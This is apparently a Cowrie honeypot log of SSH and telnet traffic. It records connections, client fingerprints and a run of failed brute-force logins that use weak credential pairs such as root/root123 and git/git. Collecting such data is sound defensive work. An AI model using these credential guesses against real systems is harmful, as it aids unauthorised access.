{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38122,"dst_ip":"10.17.0.5","dst_port":23,"session":"929daac4a2d7","protocol":"telnet","message":"New connection: 38.54.119.93:38122 (10.17.0.5:23) [session: 929daac4a2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:22.047794Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37090,"dst_ip":"10.17.0.5","dst_port":22,"session":"f20722a90138","protocol":"ssh","message":"New connection: 176.65.132.129:37090 (10.17.0.5:22) [session: f20722a90138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:23.759003Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":38742,"dst_ip":"10.17.0.5","dst_port":22,"session":"163047ef13e0","protocol":"ssh","message":"New connection: 198.98.56.227:38742 (10.17.0.5:22) [session: 163047ef13e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:23.774643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:23.779372Z","src_ip":"176.65.132.129","session":"f20722a90138","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:23.783060Z","src_ip":"198.98.56.227","session":"163047ef13e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:23.845264Z","src_ip":"176.65.132.129","session":"f20722a90138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:24.044748Z","src_ip":"198.98.56.227","session":"163047ef13e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:24.163646Z","src_ip":"176.65.132.129","session":"f20722a90138","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456qwe","message":"login attempt [test/123456qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:24.750303Z","src_ip":"198.98.56.227","session":"163047ef13e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.37307572364807,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:25.205657Z","src_ip":"192.211.53.160","session":"b60b1f00764d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:25.251091Z","src_ip":"176.65.132.129","session":"f20722a90138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:25.765538Z","src_ip":"198.98.56.227","session":"163047ef13e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.247488260269165,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:27.049612Z","src_ip":"45.81.23.16","session":"9dc994922714","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49874,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc0d38316c58","protocol":"ssh","message":"New connection: 176.65.132.129:49874 (10.17.0.5:22) [session: bc0d38316c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:27.166979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:27.171568Z","src_ip":"176.65.132.129","session":"bc0d38316c58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:27.249831Z","src_ip":"176.65.132.129","session":"bc0d38316c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:27.579353Z","src_ip":"176.65.132.129","session":"bc0d38316c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:28.665267Z","src_ip":"176.65.132.129","session":"bc0d38316c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.379537105560303,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:29.427198Z","src_ip":"38.54.119.93","session":"929daac4a2d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49884,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc3c75329576","protocol":"ssh","message":"New connection: 176.65.132.129:49884 (10.17.0.5:22) [session: dc3c75329576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:30.812796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:30.817402Z","src_ip":"176.65.132.129","session":"dc3c75329576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:30.900115Z","src_ip":"176.65.132.129","session":"dc3c75329576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:31.149444Z","src_ip":"176.65.132.129","session":"dc3c75329576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:32.400579Z","src_ip":"176.65.132.129","session":"dc3c75329576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49886,"dst_ip":"10.17.0.5","dst_port":22,"session":"03d0aa64a1b3","protocol":"ssh","message":"New connection: 176.65.132.129:49886 (10.17.0.5:22) [session: 03d0aa64a1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:34.246343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:34.362732Z","src_ip":"176.65.132.129","session":"03d0aa64a1b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:34.366471Z","src_ip":"176.65.132.129","session":"03d0aa64a1b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:34.697638Z","src_ip":"176.65.132.129","session":"03d0aa64a1b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:35.782588Z","src_ip":"176.65.132.129","session":"03d0aa64a1b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50170,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ebb2d5169f","protocol":"ssh","message":"New connection: 176.65.132.129:50170 (10.17.0.5:22) [session: 39ebb2d5169f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:37.707299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:37.714782Z","src_ip":"176.65.132.129","session":"39ebb2d5169f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:37.799944Z","src_ip":"176.65.132.129","session":"39ebb2d5169f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:38.047842Z","src_ip":"176.65.132.129","session":"39ebb2d5169f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:39.162671Z","src_ip":"176.65.132.129","session":"39ebb2d5169f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.54937386512756,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:39.339489Z","src_ip":"38.60.198.128","session":"5e838939b191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36354,"dst_ip":"10.17.0.5","dst_port":23,"session":"22f51080dfa6","protocol":"telnet","message":"New connection: 45.81.23.16:36354 (10.17.0.5:23) [session: 22f51080dfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:39.479856Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60202,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b1ea1800ce","protocol":"telnet","message":"New connection: 45.81.23.16:60202 (10.17.0.5:23) [session: 03b1ea1800ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:40.369515Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50174,"dst_ip":"10.17.0.5","dst_port":22,"session":"c452e8e59332","protocol":"ssh","message":"New connection: 176.65.132.129:50174 (10.17.0.5:22) [session: c452e8e59332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:41.181616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:41.186914Z","src_ip":"176.65.132.129","session":"c452e8e59332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:41.269531Z","src_ip":"176.65.132.129","session":"c452e8e59332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:41.717986Z","src_ip":"176.65.132.129","session":"c452e8e59332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:42.803853Z","src_ip":"176.65.132.129","session":"c452e8e59332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50186,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ba62fca64e0","protocol":"ssh","message":"New connection: 176.65.132.129:50186 (10.17.0.5:22) [session: 3ba62fca64e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:44.734762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:44.739931Z","src_ip":"176.65.132.129","session":"3ba62fca64e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:35:44.822331Z","src_ip":"176.65.132.129","session":"3ba62fca64e0","protocol":"ssh"}
